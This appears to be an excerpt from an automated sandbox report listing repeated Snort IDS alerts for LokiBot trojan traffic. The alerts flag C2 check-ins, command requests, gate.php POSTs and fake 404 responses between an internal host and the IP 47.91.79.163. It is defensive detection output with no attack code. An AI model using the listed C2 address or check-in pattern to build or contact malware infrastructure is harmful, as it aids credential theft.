Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.3:49739 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.3:49739 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.3:49739 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2017930 ET TROJAN Trojan Generic - POST To gate.php with no referer 192.168.2.3:49739 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 47.91.79.163:80 -> 192.168.2.3:49739
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.3:49740 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.3:49740 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.3:49740 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.3:49740 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2017930 ET TROJAN Trojan Generic - POST To gate.php with no referer 192.168.2.3:49740 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 47.91.79.163:80 -> 192.168.2.3:49740
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.3:49742 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.3:49742 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.3:49742 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.3:49742 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2017930 ET TROJAN Trojan Generic - POST To gate.php with no referer 192.168.2.3:49742 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 47.91.79.163:80 -> 192.168.2.3:49742
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.3:49743 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.3:49743 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.3:49743 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.3:49743 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2017930 ET TROJAN Trojan Generic - POST To gate.php with no referer 192.168.2.3:49743 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 47.91.79.163:80 -> 192.168.2.3:49743
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.3:49744 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.3:49744 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.3:49744 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.3:49744 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2017930 ET TROJAN Trojan Generic - POST To gate.php with no referer 192.168.2.3:49744 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 47.91.79.163:80 -> 192.168.2.3:49744
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.3:49747 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.3:49747 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.3:49747 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.3:49747 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2017930 ET TROJAN Trojan Generic - POST To gate.php with no referer 192.168.2.3:49747 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 47.91.79.163:80 -> 192.168.2.3:49747
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.3:49748 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.3:49748 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.3:49748 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.3:49748 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2017930 ET TROJAN Trojan Generic - POST To gate.php with no referer 192.168.2.3:49748 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 47.91.79.163:80 -> 192.168.2.3:49748
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.3:49749 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.3:49749 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.3:49749 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.3:49749 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2017930 ET TROJAN Trojan Generic - POST To gate.php with no referer 192.168.2.3:49749 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 47.91.79.163:80 -> 192.168.2.3:49749
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.3:49750 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.3:49750 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.3:49750 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.3:49750 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2017930 ET TROJAN Trojan Generic - POST To gate.php with no referer 192.168.2.3:49750 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 47.91.79.163:80 -> 192.168.2.3:49750
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.3:49751 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.3:49751 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.3:49751 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.3:49751 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2017930 ET TROJAN Trojan Generic - POST To gate.php with no referer 192.168.2.3:49751 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 47.91.79.163:80 -> 192.168.2.3:49751
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.3:49752 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.3:49752 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.3:49752 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.3:49752 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2017930 ET TROJAN Trojan Generic - POST To gate.php with no referer 192.168.2.3:49752 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 47.91.79.163:80 -> 192.168.2.3:49752
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.3:49755 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.3:49755 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.3:49755 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.3:49755 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2017930 ET TROJAN Trojan Generic - POST To gate.php with no referer 192.168.2.3:49755 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 47.91.79.163:80 -> 192.168.2.3:49755
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.3:49756 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.3:49756 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.3:49756 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.3:49756 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2017930 ET TROJAN Trojan Generic - POST To gate.php with no referer 192.168.2.3:49756 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 47.91.79.163:80 -> 192.168.2.3:49756
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.3:49758 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.3:49758 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.3:49758 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.3:49758 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2017930 ET TROJAN Trojan Generic - POST To gate.php with no referer 192.168.2.3:49758 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 47.91.79.163:80 -> 192.168.2.3:49758
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.3:49759 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.3:49759 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.3:49759 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.3:49759 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2017930 ET TROJAN Trojan Generic - POST To gate.php with no referer 192.168.2.3:49759 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 47.91.79.163:80 -> 192.168.2.3:49759
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.3:49760 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.3:49760 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.3:49760 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.3:49760 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2017930 ET TROJAN Trojan Generic - POST To gate.php with no referer 192.168.2.3:49760 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 47.91.79.163:80 -> 192.168.2.3:49760
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.3:49761 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.3:49761 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.3:49761 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.3:49761 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2017930 ET TROJAN Trojan Generic - POST To gate.php with no referer 192.168.2.3:49761 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 47.91.79.163:80 -> 192.168.2.3:49761
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.3:49762 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.3:49762 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.3:49762 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.3:49762 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2017930 ET TROJAN Trojan Generic - POST To gate.php with no referer 192.168.2.3:49762 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 47.91.79.163:80 -> 192.168.2.3:49762
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.3:49763 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.3:49763 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.3:49763 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.3:49763 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2017930 ET TROJAN Trojan Generic - POST To gate.php with no referer 192.168.2.3:49763 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 47.91.79.163:80 -> 192.168.2.3:49763
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.3:49764 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.3:49764 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.3:49764 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.3:49764 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2017930 ET TROJAN Trojan Generic - POST To gate.php with no referer 192.168.2.3:49764 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 47.91.79.163:80 -> 192.168.2.3:49764
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.3:49765 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.3:49765 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.3:49765 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.3:49765 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2017930 ET TROJAN Trojan Generic - POST To gate.php with no referer 192.168.2.3:49765 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 47.91.79.163:80 -> 192.168.2.3:49765
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.3:49766 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.3:49766 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.3:49766 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.3:49766 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2017930 ET TROJAN Trojan Generic - POST To gate.php with no referer 192.168.2.3:49766 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 47.91.79.163:80 -> 192.168.2.3:49766
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.3:49767 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.3:49767 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.3:49767 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.3:49767 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2017930 ET TROJAN Trojan Generic - POST To gate.php with no referer 192.168.2.3:49767 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 47.91.79.163:80 -> 192.168.2.3:49767
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.3:49768 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.3:49768 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.3:49768 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.3:49768 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2017930 ET TROJAN Trojan Generic - POST To gate.php with no referer 192.168.2.3:49768 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 47.91.79.163:80 -> 192.168.2.3:49768
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.3:49769 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.3:49769 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.3:49769 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.3:49769 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2017930 ET TROJAN Trojan Generic - POST To gate.php with no referer 192.168.2.3:49769 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 47.91.79.163:80 -> 192.168.2.3:49769
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.3:49770 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.3:49770 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.3:49770 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.3:49770 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2017930 ET TROJAN Trojan Generic - POST To gate.php with no referer 192.168.2.3:49770 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 47.91.79.163:80 -> 192.168.2.3:49770
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.3:49771 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.3:49771 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.3:49771 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.3:49771 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2017930 ET TROJAN Trojan Generic - POST To gate.php with no referer 192.168.2.3:49771 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 47.91.79.163:80 -> 192.168.2.3:49771
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.3:49772 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.3:49772 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.3:49772 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.3:49772 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2017930 ET TROJAN Trojan Generic - POST To gate.php with no referer 192.168.2.3:49772 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 47.91.79.163:80 -> 192.168.2.3:49772
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.3:49773 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.3:49773 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.3:49773 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.3:49773 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2017930 ET TROJAN Trojan Generic - POST To gate.php with no referer 192.168.2.3:49773 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 47.91.79.163:80 -> 192.168.2.3:49773
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.3:49774 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.3:49774 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.3:49774 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.3:49774 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2017930 ET TROJAN Trojan Generic - POST To gate.php with no referer 192.168.2.3:49774 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 47.91.79.163:80 -> 192.168.2.3:49774
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.3:49775 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.3:49775 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.3:49775 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.3:49775 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2017930 ET TROJAN Trojan Generic - POST To gate.php with no referer 192.168.2.3:49775 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 47.91.79.163:80 -> 192.168.2.3:49775
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.3:49776 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.3:49776 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.3:49776 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.3:49776 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2017930 ET TROJAN Trojan Generic - POST To gate.php with no referer 192.168.2.3:49776 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 47.91.79.163:80 -> 192.168.2.3:49776
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.3:49777 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.3:49777 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.3:49777 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.3:49777 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2017930 ET TROJAN Trojan Generic - POST To gate.php with no referer 192.168.2.3:49777 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 47.91.79.163:80 -> 192.168.2.3:49777
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.3:49778 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.3:49778 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.3:49778 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.3:49778 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2017930 ET TROJAN Trojan Generic - POST To gate.php with no referer 192.168.2.3:49778 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 47.91.79.163:80 -> 192.168.2.3:49778
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.3:49779 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.3:49779 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.3:49779 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.3:49779 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2017930 ET TROJAN Trojan Generic - POST To gate.php with no referer 192.168.2.3:49779 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 47.91.79.163:80 -> 192.168.2.3:49779
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.3:49780 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.3:49780 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.3:49780 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.3:49780 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2017930 ET TROJAN Trojan Generic - POST To gate.php with no referer 192.168.2.3:49780 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 47.91.79.163:80 -> 192.168.2.3:49780
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.3:49781 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.3:49781 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.3:49781 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.3:49781 -> 47.91.79.163:80
